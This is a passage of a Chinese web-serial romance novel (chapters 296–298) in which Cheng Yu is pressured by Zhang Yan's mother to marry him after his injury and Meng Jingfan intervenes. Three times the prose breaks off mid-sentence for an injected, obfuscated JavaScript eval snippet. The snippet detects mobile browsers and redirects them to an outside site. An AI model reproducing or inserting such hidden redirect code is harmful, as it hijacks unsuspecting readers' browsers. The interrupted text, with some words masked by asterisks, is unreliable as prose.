最起码,他绝不会让这样的事发生。 程逾推开他:“开车吧。” 回到家之后,程逾径自回了房间,魏云舟将孟竞帆拦下:“怎么样了?” 孟竞帆摇摇头:“小鱼状态不太好,爸还在医院,不知道和张家聊些什么,等他回来再说。” “我昨天给爸打电话,听他说了医院的事。”魏云舟说,“张家想要小鱼嫁过去,这不是趁火**吗?明眼人都看出来小鱼不喜欢张延吧。” “不仅不喜欢,小鱼跟张延在一起是假的,她故意找他当的挡箭牌,两人没做过男女朋友,张延父母应该知道。” 魏云舟眯了眯眼:“知道还在医院里故意逼小鱼姐?” “小鱼现在就在自责,如果不是她,也就没有后面的事。”孟竞帆无奈道。 魏云舟说:“这是一场意外,他们要追责的是开三轮车的司机,对象都搞错了,在情感**小鱼姐而已。” 孟竞帆何尝不知道,程逾不应该为不可控的意外负责,但人是复杂多变有情感的。 让她做到置身事外,她也是办不到的。 “好了,我也挺累的,我去看看小鱼,待会儿爸妈回来,你把事情弄清楚再给我说。” 魏云舟点了点头。 孟竞帆这次没问,直接推开了程逾的房门,见她靠在床头,一副了然的样子。 “我就知道你还没睡。”他坐了过去。 程逾叹了声气:“睡不着。 闭上眼睛就是那晚的事。 孟竞帆抬手捂住她的眼睛:“你一天一夜没睡了,我给你唱歌吧。” “你唱歌?”程逾仰躺在靠枕上,“你五音不全。” “我还练过呢,你闭上眼睛,我给你哼两句。” 程逾静静闭上了眼睛,眼睫毛刮过了孟竞帆的掌心,有点痒。 孟竞帆给她哼了电视剧的主题曲,当然是他演过的。 调子还是有的,孟竞帆自变声后,声音越来越男,刻意之下,是温柔而低沉的,很吸引人。 最起码对耳朵是很友好的。 程逾闭上眼睛没一会儿就睡了过去,孟竞帆拿掉手后轻笑了声:“还说睡不着。” 他坐着守了半小时不到,孟棠和魏川从医院回来了。 魏川的脸色依旧不太好。 孟棠问孟竞帆:“小鱼呢?” “睡了。”孟竞帆指了指她的房间,“妈,你们在医院聊了什么。” 魏云舟也从屋里出来,本来还有三天他要飞美,但程逾出了这事,他的行程也就搁浅了。 “进屋说。”魏川搂住孟棠,揉了揉她的肩,知道她今天也是累得不轻。 进了正厅后,魏川开门见山:“张家人态度很强烈,希望小鱼能和张延修成正果。” 孟竞帆皱眉:“强盗吗?小鱼跟张延不过是做戏,正经的男女朋友都不是,他们会不清楚?” 孟棠惊讶:“小鱼没和张延在一起?” “没有。”孟竞帆斩钉截铁。 “应该是和哥的cp事感到了困扰,所以抓了个挡箭牌。”魏云舟总是一针见血。 魏川看向孟竞帆:“你对小鱼到底是什么心思?” 孟竞帆:“……爸,都什么时候了,怎么还问这种事,难道不应该先解决张家的事吗?难道要让小鱼嫁过去啊。” “你爸怎么可能会让小鱼嫁过去。”孟棠白他一眼,“现在这样,更不可能了。” “你爸只是问问你对小鱼的看法,毕竟这段时间发生了很多事,也别以为我们不知道,你俩自从录制综艺后就变了些。” “你小姑有什么事都会跟我们说,也提到了你和小鱼,只要你喜欢,我跟你爸倒是没什么想法。” 孟竞帆震惊地看向他们,他自己都不知道对程逾的想法,他们都想那么远了? “你看着我们干嘛?”魏川无语,“到底对小鱼是什么看法?” 孟竞帆沉默了许久,才道:“我就是不想让她离开这里。” “竞帆,这样吧,张延这件事交给你处理。”魏川突然道,“如果你想要和小鱼未来有什么不一样的关系,这就是一个突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711655|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破口。” 孟竞帆怔怔地看着魏川。 魏云舟踢了下他:“愣着干什么?答应还是不答应,倒是说一声。” 孟竞帆愣愣点了头,随后立刻起身:“我出去一趟,这两天帮我看着点小鱼。” “去哪儿?”孟棠喊了句,却没得到他的回答。 程逾睡到第二天早上起来的,孟棠新找来的阿姨做了早餐。 已经在家里做了几天了,孟棠见她醒了,示意她去吃早餐。 程逾没什么胃口,但为了不让孟棠担心,还是老老实实坐下了。 没一会儿,魏川和魏云舟也来了餐厅。 少了一个人,程逾抬眸四处瞅了瞅,问孟棠:“师父,孟竞帆呢?” “去首都了。”孟棠说,“有个活动要参加,推不掉。” “哦。” 程逾默默夹了一个包子,却吃不出什么味道。 还没吃完,她就说:“吃完饭我去医院看看吧。” “不用,你去没什么用,我跟张家人说好了,你暂时不用过去。”魏川说,“待会儿我去一趟。” “我还是自己去吧。”程逾说。 别看她川叔几十岁的人了,可从没低过头,哈过腰的。 “我说话也不管用,让你在家就老老实实待着。” 程逾只好点了点头。 日上三竿,程逾去了后院工坊,她的手没有好全,不能动刀,她就拿了一尊关云长的小像把玩。 看了好几次手机又放下了。 孟竞帆去工作也好,省得在家也被她影响了情绪。 程逾拿出手机,搜索了孟竞帆的名字,发现他出席了一场品牌活动。 身高腿长,颜值能打。 程逾不自觉笑了声,又在网络上搜索钢筋贯穿伤,重点是后续恢复情况。 答案是五花八门的,看得人眼花缭乱。 程逾觉得无聊,刚要起身,张延的母亲打来了电话,程逾的心一下跳到了嗓子眼儿。 她做了两个深呼吸,才接了这通电话。 “小鱼,你来医院帮我照看一下张延吧。” “啊?好。”程逾立刻站了起来。 孟棠,应该是不大让她去的,程逾找到孟棠,说约了周淼散散心才得以出门。 她去医院的时候,魏川正好从医院出来,两人就这么错过了。 刚到住院部楼底下,程逾被张延的母亲拦住了去路。 “阿、阿姨。” “嗯,陪我走走吧,我有些话想要跟你说。” 程逾似乎知道她要说什么,硬着头皮接受了。 “我也不想跟你拐弯抹角,我直说了,我们家张延是因为你才这样的,你得负责,知道吗?” 程逾心里一沉:“那司机……” “司机更是逃不掉。”张延母亲说,“你负责的方式跟他当然不一样,其实在张延受伤之前,我对你一直都是满意的,张延也喜欢你,我乐意成全你们。” “可他现在腿受伤了,以后就算复建也不一定全好,你让他怎么找女孩成家?” “所以我觉得你们不如将错就错。” 将错就错?程逾就连苦笑都笑不出来,原来她也知道她和张延是错的。 “阿姨,我——” “你真的要拒绝?”张延母亲逼迫程逾看着她的眼睛,“他可是为了你受伤的,做人不能太没良心吧?” “我会负责的,但能不能不要这样,我会陪着他复建,我——” “我只需要你跟他结婚。” “阿姨,我真的办不到。” “那就别怪我了,孟竞帆在娱乐圈工作,一点风吹草动就能毁了他的前途。” “您要干什么?”程逾不可置信地看着她,“为什么要扯上别人,张延受伤的事情跟他没什么关系。” “我知道跟他没什么关系,但你挺在乎他的。” “……您别逼我。” “有些事情我不想说得太难听,你的身份是配不上孟竞帆的,只有我张家不嫌弃你。” “你放心,你嫁进来后,我们不会为难你,也会尊重你。” 程逾看着她,只觉得遍体生寒。 手机铃声猝然响起,程逾看到来电显示,走到一旁,接了孟竞帆的电话。 第296章 孟程(30) 孟竞帆忙完了工作,去机场的路上给程逾打的电话。 程逾接起的那一秒,仅仅一个“喂”字,他就察觉到了不对劲。 “发生什么事了?”孟竞帆蹙眉,“你人现在在哪儿?” “没事啊。”程逾故意放松语气,“你怎么这个点打电话,不是在工作吗?” 孟竞帆说:“工作已经做完了,我现在在机场,晚上到雁清。” “你回来干什么?”程逾脑子里闪过各种猜测,“今年不忙吗?” 很忙,但他不放心,魏川也把张家的事情交给了他,他自然要回去的。 “不忙,休息半年再说。” 程逾:“……你们这个行业可容不下你休息。” “演员稍微好点吧。”孟竞帆说,“今天中午,家里阿姨做了什么,有点饿了。” 程逾失笑:“我不在家,和淼淼出来了。” “哦。”孟竞帆拿开手机给周淼发了条信息,“你俩出去玩了?” “逛逛。”程逾说,“我手机快没电了,等你回来再说吧。” 程逾没等他说完就挂了电话,她转头看向张延的母亲,问:“我能不能去看看张延?” 对方摇了摇头:“你先回吧。” 程逾脸色变了变,也就是说,她让她过来并不是照顾张延,只是为了说这一番话。 张延的母亲转身回了病房,程逾也没法子,只能先行离开。 不过她并没有回去,一个人漫无目的地逛了会儿。 中午饿得肚子咕咕叫,她也懒得动,坐在商场的椅子上发呆。 周淼的电话就是这时候打过来的,问她人在哪里。 程逾不想把坏心情传染给朋友,想要拒绝的时候,周淼来了句:“晚上喝酒去?” 程逾犹豫了几秒,应了声好。 周淼松了口气,转头给孟竞帆打了电话,说:“我一会儿就去陪她,你晚上几点落地?” “10点左右。”孟竞帆说,“她既然给我撒谎,肯定是发生什么了,为了不让我爸妈担心,她也不会说,你一定要帮我问清楚。” “行,放心吧。”周淼保证道。 程逾烦得很,周淼就带她去商场的游乐场里买了1000个币。 程逾玩得勉勉强强,毕竟没什么心思。 她想了半天,也不知道有什么办法可以让张延母亲死心,她现在明明是铁了心。 周淼特地来找她,程逾也不想扫她的兴,陪着她玩了一下午。 天黑后,周淼带着她去了餐酒吧。 周淼点了牛肉意面、披萨、风干火腿配蜜瓜和烤鸡翅。 程逾看向她:“不点酒吗?” “让店员按照菜单配吧。”周淼拿出手机,把定位发给了还在飞机上的孟竞帆。 程逾没什么胃口,在周淼的劝诫下吃了点意面,垫了下肚子。 之后迫不及待端起酒吧灌了口酒,周淼抬手拦了下:“慢点喝,小心呛着。” 程逾点了点头。 表演区的抒情乐听得人想哭,程逾叹了声气:“你知道张延的事吧?” 周淼点了点头:“很难不知道吧?” “那你怎么没找我?”程逾抬眸,“我还以为你不知道。” “我去找你就是给你添乱。”周淼说,“我妈每天都有给你师父打电话,我就顺道听听你的情况。” “小鱼,这件事是意外,我知道你自责,但你总不能一直这样下去。” “距离张延出事才几天,别劝我了。”程逾又仰头喝了口酒,“同样的话,我已经听了很多遍。” “行。”周淼举杯,“那就喝酒。” 安静的酒馆里夹杂着客人的低低谈论,程逾没喝过闷酒,一杯接一杯,很快脑子就晕乎了起来。 周淼给孟竞帆发信息:【怎么还没来?】 话音刚落,一道阴影压了过来。 孟竞帆风尘仆仆,指了指程逾,低声问周淼:“喝醉了?” 周淼点了点头:“赶紧带回家吧,我先走了。” “等一下。”孟竞帆怎么可能让她一个女生先走,“一道走吧。” “行吧。”周淼说,“你开车来的?” “打车,从机场直接过来的。” 周淼指了指程逾:“你把她扶起来,我先出去拦车。” 孟竞帆走过去,蹲在程逾身边晃了晃她:“小鱼,回家了。” 程逾迷迷糊糊应了声,说了什么,孟竞帆不知道,但看她的架势,好像还要喝。 “回家喝。”孟竞帆顺着她,“现在先跟我起来。” 喝醉的人身体不由自己控制,会很重,但两人力量悬殊,孟竞帆轻而易举就将她从桌上拖起来,搂入了怀中。 可这样走不了,他索性弯腰,将人打横抱了起来。 喝醉的人被陡然放平,也会有下意识,程逾搂住了孟竞帆的脖颈,终于没有了悬浮的感觉。 周淼在门外打到了车,她给两人拉开后车门,说:“我坐前面吧,你照顾一下小鱼。” “行。”孟竞帆小心翼翼将她抱进了车内。 孟竞帆刚坐进去,程逾的手机响了起来,见是孟棠的来电,孟竞帆替她接了。 听到大儿子的声音,孟棠稍稍放了心。 以往程逾也和周淼出去玩过,但没有这么晚过。 餐酒吧距离孟家不算近,开了近半小时才到。 “麻烦你跟我一道送她进去。”孟竞帆没让周淼走。 周淼知道他要问晚上的事,点了点头。 孟棠和魏川,还有魏云舟都在门口等着,乍然看到程逾喝醉都吓了一跳。 “喝了这么多啊?”孟棠担忧地碰了下程逾的额头,“赶紧进去,凉风一吹,别整发烧了。” “我来吧。”孟竞帆再次抱住程逾。 周淼对孟棠说:“我进去给她擦一下吧,您别担心。” 擦洗一下,睡得舒服点,孟竞帆也不好再待着,只能先让周淼照顾着。 “工作处理好了?”魏川看着孟竞帆。 孟竞帆点了点头:“暂缓半年,现在的剧也不好拍,我看了本子,没一个好的,张延的复建差不多是这个时间,等他好了,小鱼应该就不会内疚了。” 孟棠叹了声气:“她心里憋着呢,不然也不会喝这么多,她以前不会这样。” 孟竞帆奔波一天,也确实有些累了,他对孟棠说:“妈,小鱼这里我会照看,您跟爸回房睡觉吧,有什么事我会告诉你们的。” “行。”魏川点了点头,“那你照看着点。” 魏云舟没动,孟竞帆也没撵他。 周淼很快出了卧房,孟竞帆连忙问:“她睡了?” 周淼点了点头:“睡了,就是不**稳,眉心一直皱着。” “我看一下吧。”孟竞帆进了卧室,见程逾皱着眉心,轻轻用指腹捻了下。 直至她呼吸平稳绵长,孟竞帆才起身去了配套的小客厅。 兄弟俩坐在一起看着她,周淼还挺有压力,她干笑了声,说: “小鱼今天去医院了,是张延母亲打的电话,理由是让她去照顾张延。” 魏云舟和孟竞帆的脸色同时沉下来。 “你们也知道,小鱼正是内疚的时候,肯定人家说什么就是什么。” “照顾张延能减轻她的愧疚感,她一定会去。” “但是到那边,被张延的妈妈拦在了楼下,说了一些很过分的话。” 魏云舟冷声问:“什么话?” “让小鱼嫁给张延之类的话,道德**吧,还有说她孤女的事,小鱼说的断断续续的,我也就讲个大概意思。” “不过从她的话里可以判断出,张家是怕张延落下残疾,所以利用小鱼的愧疚想要把她绑一辈子。” 毕竟谁家愿意把女儿嫁给一个腿部有残疾的男人。 “做梦。”孟竞帆忍着脏话,“我明天就去找他们。” 魏云舟说:“我跟你一起吧。” “你去干什么。”孟竞帆拒绝了,“你明天把小鱼看好,不要让她去医院,我一定要见张延一面。” 魏云舟点了点头。 孟竞帆起身,对周淼说:“天太晚了,我送你回去吧。” “我自己回吧,你照顾小鱼。” “没事,我一会儿回来,走吧。” 周淼只好起身,跟他一起走了出去。 出了院门,孟竞帆说:“小鱼这段时间心情不好,如果你方便的话,就多逗逗她,张延这件事,我会处理的。” “你真的推了工作?”周淼有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717412|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶,他们这行要保持露脸的。 “半年而已。”孟竞帆说,“比起小鱼来也不算什么。” 关于工作的事,孟竞帆并没有多说。 二十分钟后,孟竞帆回到了家。 他径自推开了程逾卧房的门,本想看一下的,却见她踢了被子。 屋里确实暖和,但大冬天的,也不能什么也不盖。 孟竞帆帮她把被子扯上去,程逾喝多了酒,体内烧灼觉得热,盖不住一点,又抬脚蹬了下去。 孟竞帆“啧”了声,又给她盖了上去,程逾又蹬掉了。 几个回合下来,孟竞帆都累了。 他哼了声,拉扯着被沿盖在程逾的身上,整个人倾身下去,低声说:“看你怎么蹬。” 程逾被捂得难受,皱着眉转过了脸,灼热的呼吸喷洒在孟竞帆的唇边,惹得孟竞帆一怔,呼吸都停了一瞬。 程逾的长相跟她本人的性格是反着来的,她五官其实很精致。 但最好看的是那张肉嘟嘟的唇,小巧可爱,骂人劲劲的。 综艺之前,孟竞帆拍过一部古装剧,在里面饰演男二,她的官配和程逾的性格特别像。 以至于没什么感性经验的他,总要将对方联想成程逾,才能顺畅地接了感情戏,最后呈现出来的效果也很好,自然接地气,很多名场面都是他现挂的。 其实现挂的动作都是他会对程逾做的动作,后来副cp大火,也阻碍了一些人的路,孟竞帆和男主角老死不相往来了。 “你干嘛。”程逾微微睁开了眼睛,只看得见一片模糊的影子。 但孟竞帆的味道,她再熟悉不过,即便醉了在梦里,她也能分辨得出来。 孟竞帆以为她醒了,心脏一跳,不自觉往后去了点。 他干咳了声:“给你盖被子。” “我热。”程逾嘟囔了声。 “小心感冒。”孟竞帆不松手,“我妈让我来照顾你的,别不识好歹啊。” 不识好歹?程逾嘲讽地笑了声:“我不嫁。” “谁让你嫁了。”孟竞帆说,“好好在家待着吧。” 程逾的眼尾瞬间红了一片,孟竞帆一愣,再一看,眼泪出来了。 “哭什么?”孟竞帆自言自语,抬手按住了她的眼尾。 “孟竞帆?”程逾隐隐约约看到一抹熟悉的轮廓,“你怎么在我房间?” “给你盖被子。”孟竞帆认命地重复了一遍,“你睡吧,等你睡着我就走。” “不舒服。”程逾捂了下胃部,“好热。” “让你喝那么多酒,该。”孟竞帆拿起床头的醒酒汤,“还热呢,阿姨送过来的,喝点吧。” 程逾闻到那味道,扭头躲避了。 她现在不太清醒,也不大好喂,孟竞帆也没强求,明早喝也可以。 “你要是不睡,我就给你喂醒酒汤了?” 程逾闭上了眼睛,迷迷糊糊道:“我睡了。” 孟竞帆轻笑:“又不是药,怎么躲成这样。” 程逾没有回答他,孟竞帆拍了拍被子,静静看着她。 心里后知后觉蔓延出心疼,孟竞帆蹙起了眉。 等程逾彻底睡着了,他调暗了床头灯,起身出了程逾的卧室。 宿醉一场,程逾醒来时晕乎乎的,甚至都不知道自己在哪儿。 睁着眼睛看了许久,她才坐了起来。 “醒了?”外间传来孟棠的声音。 程逾连忙要下床:“师父。” “坐着吧。”孟棠端着醒酒汤进来,“把这喝了,洗漱后去吃饭。” “哦。”程逾见孟棠脸色不太好看,乖乖端起碗,几口喝完了醒酒汤。 “昨晚淼淼送我回来的吗?”程逾问孟棠,随即又觉得不对,“孟竞帆是不是回来了?” 孟棠点了点头:“他去接你的。” 程逾四处瞧了瞧,没看见孟竞帆的影子。 “他有点事,出门了。”孟棠说,“去洗漱吧。” 程逾闻了闻自己,赶紧进了浴室。 只是孟竞帆刚回来又出门了,他能有什么事? 程逾放心不下,洗澡都在想孟竞帆干什么去了,吃饭的时候,见魏川和孟棠恢复了以往的模样,她忽然反应了过来。 孟竞帆一定去医院了。 第297章 孟程(31) 吃完早餐,程逾的胃部得到了宽慰。 她坐到孟棠边上,扯了下她的袖子:“师父,孟竞帆是不是去医院了?他回来就是为了我的事吧?” 孟棠也没指望能瞒着她什么,点了点头:“你川叔让他处理的。” “我自己可以处理啊,怎么让他回来了,他工作怎么办?”程逾有些过意不去。 孟棠转过脸:“你打算怎么处理?” “我……”程逾一时结巴,她还没想好,只知道不想接受张延母亲的要求,“等我见了张延再说。” 程逾退出餐厅,给孟竞帆打去电话。 第一遍的时候,孟竞帆没有接,程逾直接给他语音了一条:“我知道你在医院,接电话。” 孟竞帆这才回拨过来,问:“我妈跟你说的?” “师父没打算瞒我,你见到张延了?” “没有。”孟竞帆说,“他妈妈不让我见。” “你等我一下吧。”程逾说,“我现在去医院。” 不让她来是不可能的,孟竞帆点了点头:“别自己开车,打车过来。” “嗯。” 程逾挂断电话后,和孟棠说了声,打车去了医院。 在楼下遇到了张延的父母,程逾打了招呼,直接问:“叔叔阿姨,我今天可以见张延吗?” “张延他——” “我今天一定要见到。”程逾从包里拿出刻刀,“要不我也给我腿上来一刀还了?” 张延母亲被吓了一跳:“你别冲动。” 程逾的手腕忽然被人从后面死死握住,她下意识反抗时,另一只手也被人从后头钳制。 仰头看去,竟是孟竞帆,他的脸色很不好看。 “跟我过来。”孟竞帆略微粗鲁地将程逾拉到了一旁。 张延的父母见状,停留了一瞬,上楼去了。 “你在干什么?”孟竞帆将刻刀收进刀鞘里,放进了自己口袋。 “我就是吓唬吓唬他们。”程逾越说越心虚。 “还吓唬吓唬他们。”孟竞帆冷笑一声,“人被逼急了什么事干不出来,我要是不出来,你就被保安按在地上送去警察局了。” 程逾撇过眼睛:“她不让我见张延,我也没有办法。” “不让见就等,我不信他一直缩在病房里。”孟竞帆冷酷道,“他妈**迫你的事,我不信**,他有手机,没有联系你,大概是默认了他家里人的做法。” 程逾始终不愿意相信他是这样的人,但人突逢变故,改变想法也在所难免。 “走吧,上楼。”程逾拽了下孟竞帆,“我有预感,今天应该能见到。” 她所料不错,上楼的时候,张延母亲看她的眼神明显有些怵。 程逾和孟竞帆得以进入病房,几天不见,张延的状态明显好多了,但眼神有些飘忽。 “你腿怎么样?”孟竞帆主动问道。 “还行。”张延说,他知道魏家花费了很多心思。 但治疗费用都是张家人自己在出,撞他的人家徒四壁,一句没钱堵得张延母亲愤怒不已。 她不是掏不出这个钱,而是不想让撞他儿子的人好过一点。 但孟家竟然也不愿意花一分钱,这就让她心里很不是滋味。 程逾一开始也没明白,她知道孟棠和魏川没有给她花钱的义务,她心想她自己补偿一下,被孟棠拦了下来。 程逾至今还清清楚楚记得孟棠的话,一字不差: “这件事是意外,你上赶着花钱会让别人以为是因为你,张延才会这样,他母亲会更得寸进尺。” 其实张家人心里都有数,这件事怪不到程逾的头上,或者是程逾好好的,自家儿子躺在病床上,心里不平衡。 “我问过医生了,你恢复情况挺好的,再有三四天就能坐起和轻微抬腿。” 张延其实有些惊讶,他以为孟竞帆会直接质问的。 “张延,你打算什么时候复建?”孟竞帆突然问。 距离复建还早,张延说:“出院后两周左右吧,医生说的。” “我正好歇了半天,我来陪你复建吧。”孟竞帆皱了下眉头,有些懊恼,“我有件事,其实想要让你帮我一下,当然,你拒绝了也没关系。” 张延一时愣住,他看向程逾,发现程逾也一脸迷茫。 他搞不懂孟竞帆想要干什么了,按理说,两家的关系因为他的腿明显有所僵持。 他妈妈做的那些事,他不信孟竞帆不知道。 程逾自己都不愿意,更何况孟竞帆呢。 可孟竞帆那双眼睛太过真诚,张延不自觉就点了点头:“你说。” 他心里还是带有希冀的,万一孟竞帆以后成了他的大舅哥,这会儿拒绝也不太好。 “是这样的,我近期看到一个本子,角色挺好的,但他和你一样,遭遇了意外,腿部受了伤,经过复建站了起来,我想,可以的话,能不能让我陪你一起复建?我观摩学习一下,你放心,我不会打扰你的。” 张延有些为难:“呃……复建的时候不好看。” “要的就是那份坚持的劲儿,这个不要好看。”孟竞帆说。 “我还以为……”张延干笑了声,“我……” “你以为什么?”孟竞帆笑了声,“答应就给我一个信号。” 程逾愣愣地看着孟竞帆:“真有剧本啊?” “有啊,不过这个是保密的,不能给你们看。”孟竞帆朝她露齿一笑。 张延看向程逾,程逾说:“没事的,我相信你一定能恢复,复建的时候,叔叔阿姨看着肯定会心疼,我和孟竞帆姑且算你朋友吧,你可以小点压力。” 不得不说,程逾的话说到张延的心上了。 他妈妈那人他还是了解的,复建十分钟,哭十分钟的类型,偶尔也就罢了,天天这样,他也受不了。 “行。”张延点了点头,“那就麻烦你们了。” 程逾松了口气:“那你跟阿姨说一声,今天我们就不打扰你休息了。” “等一下。”张延拦住程逾,“能不能跟你单独说两句话?” 程逾看向孟竞帆,孟竞帆点了点头,对张延说:“行,但你快点让她出来,你现在还是需要休息。” 张延感激地笑了下:“好。” 孟竞帆转过脸,眼神就微微沉了下去。 程逾再次在床头的凳子上坐下,问张延:“你要跟我说什么?” “你为什么没有问我别的事?” 张延口中“别的事”是什么,两人心知肚明。 程逾朝他笑了笑:“别的事都没有你的腿重要,我理解他们的愤怒。” 张延张了张嘴,一时不知道该说什么。 长久的沉默后,张延小心翼翼地看向程逾,说: “我一定会认真复建,小鱼,你能考虑我吗?我以前或许对你只是一点的喜欢,但现在,我更加确认我对你的感情。” “我爸妈那边你放心,他们不会再为难你的。” “我也没有让你现在就回答,等我复建完,我们再说,行吗?” 程逾看向他的腿。 “小鱼,行吗?” “先复建吧。”程逾没有正面回答,“我先走了,你休息吧。” “好。”张延从她的话中听到一丝希望,高兴地应了声,“我出院的时候你再来吧,医院里也挺无聊的。” 程逾起身:“我自己会看着办的。” 到病房门口,又遇到张延的父母,程逾微微颔首打了招呼,和孟竞帆离开了医院。 车辆出了医院大门口,程逾没忍住问孟竞帆:“你那些话,是哄张延的吧?” 孟竞帆点了点头:“先哄着吧,硬来只会适得其反,只要张延态度软化,他父母那边就不是问题。” 张延是家里独子,看似他依靠父母,实则他父母以他为傲,凡事都是听他的。 “那你真的要陪他去复建?”程逾抿了抿唇,“是为了我吗?” “不然呢?”孟竞帆十分坦荡,“不然还有谁能让我做到这个地步?” “为什么?”程逾眸光轻颤,“你可以不做的。” “我乐意。”孟竞帆打了个方向,“去吃饭。” “不回家吗?”程逾看着他岔了道儿,“去哪儿啊?” 孟竞帆说:“吃饭啊,不跟你说了?” 程逾见了张延一面,确实心里轻松了不少,她这几天没睡好没吃好,听孟竞帆这么一说,眼珠一转: “今天吃海鲜饭吧?”程逾勾着头问。 “想吃海鲜饭啊?” “嗯。” “行,就去我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719570|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常去的那家。” “嗯,好。” 他俩说的这家海鲜店在雁清最大的商场后面的巷子里。 几十年的老字号了,酒香不怕巷子深,无论是不是放假日,每天都挤满了人。 光吃海鲜饭也不行,孟竞帆还点了一些程逾喜欢的蔬菜类和汤。 这里一共两层楼,孟竞帆带着程逾去了楼上。 他带着帽子,低着头,除了身高高点,倒也没引起别人注意。 可能饭点还没到,二楼只有零星的几个人。 程逾靠墙坐着,让孟竞帆坐在了她对面,因为在角落里,这样一来,整个二楼的桌面都只能看到孟竞帆的背影,就算上人了也不怕。 现在人少,他们点的饭菜很快上来。 孟竞帆给程逾挑了葱,有些惊讶地抬眸:“你刚才没跟老板说不要葱吗?” “说了,可能顺手放的。”程逾拿起勺子,“没事,挑了就行。” “嘁,还不是我帮你挑。”孟竞帆嘴上吐槽,手下动作不带停的。 “我让你挑了?”程逾用勺子敲了下他的筷子,“我自己来。” “都给你挑没了。”孟竞帆失笑。 “谁让你那么快。”程逾白他一眼。 “男人都不能说快。”孟竞帆跟她斗嘴。 “你——”程逾一时噎住,“你别什么话都在外面说,神经。” 孟竞帆挠了把头:“不好意思。” 程逾莫名有些不自在,躲避了他的目光,将餐盘往自己面前托了下,说:“吃饭吧。” 一时尴尬,孟竞帆垂头吃饭,又怕她生气,时不时不经意地抬眸。 程逾握紧筷子,忍无可忍:“你别盯着我看,我脸上又没有花。” 孟竞帆干咳了声,拧开桌上的纯净水灌了一口,他没想到会被程逾察觉。 “多大人了,还呛着。”程逾嘟囔了句。 孟竞帆干笑了声。 程逾吃到一半,突然抬起了头:“不对啊,你怎么知道张延妈妈找我的事?周淼说的?” “才反应过来啊。”孟竞帆说了句笨,“周淼就是我让她过去陪你的,问你又不说,我只能让她当卧底了。” 程逾:“……所以我喝了酒,全都抖给淼淼了呗,然后她告诉了你。” 孟竞帆点了点头:“不然我让你喝酒?心里不痛快,越喝越难受,不过有一点我很好奇,你能不能给我解答一下?” “嗯?”程逾抬眸看着他,“什么?” 孟竞帆放下了筷子,直视她的眼睛: “就是你也在家里生活了这么多年,应该很了解爸妈和我吧,为什么心里有事不向我们说呢?” “我也不是说怕他们担心吧。”程逾笑了声,“你也知道师父那人,有事一般也自己解决,不过是川叔喜欢往上凑。” “我觉得还没到严重的地步,感觉还可以和张家人沟通一下。” “张延毕竟受了伤,他们心理的转变不能用普通的情况来衡量。” 孟竞帆问:“所以你今天才坚持见张延?” 程逾答:“是,我最起码要知道他的一个态度吧。” “他最后留你说话,说了什么?” 程逾眨了眨眼:“没说什么。” “一说谎就要眨眼。”孟竞帆一眼将她看透,“不能说还是不想说?” 孟竞帆为了她的事忙里忙外,程逾哪有什么不能说的。 她道:“让我给他一个机会,让我好好考虑,复建之后再回答。” “什么机会?”孟竞帆的臭脸又开始了,“不会还没死心吧?你别犯傻啊,这次的事也看出来,你要真和张延在一起,结婚后和他拌点嘴,他父母不会站在你这边。” “你想的好远,我又没说答应他。”程逾将最后一口饭吃完,“不过我也不想刺激他,只说让他先复建,说不定那时候他腿好了,也就不纠结这事了。” 其实她说的也有两分道理,孟竞帆见她放下勺子喝汤,问了句:“吃饱没有?” “吃饱了,走吧。”程逾拿起包,“店里开始上人了。” 钱已经付过,孟竞帆和程逾一同起身,老板热情地打了招呼,孟竞帆回以一笑,刚到店铺门口,被人认了出来: “孟竞帆?你是孟竞帆吧?” 第298章 孟程(32) 孟竞帆以前从没有在雁清被认出过,这一嗓子喊得他猝不及防。 “你认错人了。” 中年男人疑惑地看了他一眼,觉得自己没认错。 孟竞帆对着身后的程逾招了招手,示意她赶紧跑。 “不可能,你就是孟竞帆,我媳妇还看你综艺了。” 大哥嗓门挺大,吸引了周遭不少视线,很快,年轻的小姑娘也认了出来。 孟竞帆一把扯住程逾的手腕:“愣着干什么,赶紧跑啊。” “孟竞帆。”不少女生跟在后面追。 孟竞帆拉着程逾进了商场后门,他倒是聪明,没进已经打开的电梯,而是拉着程逾快速穿过通道去了另一扇门。 那扇门平日里比较冷门,也没什么商铺,应该不会被追上。 哪知道人家没上当,听到身后的步伐,程逾反手扯过孟竞帆,躲在了电梯斜对面巨大的柱子后。 柱子和墙壁形成了一个小小的空间,两个人还有些挤。 身体的贴合让程逾一惊,她下意识就要动,被孟竞帆揽着腰“嘘”了声。 “人呢?” “不知道啊,怎么把人追丢了?” “刚才他旁边的是小鱼吗?” “是的吧?有人在干嘛?约会吗?” “你们拍照片没有?” “没有,都没来得及。” “出门看看吧,可能从这儿跑出去了。” “走。” 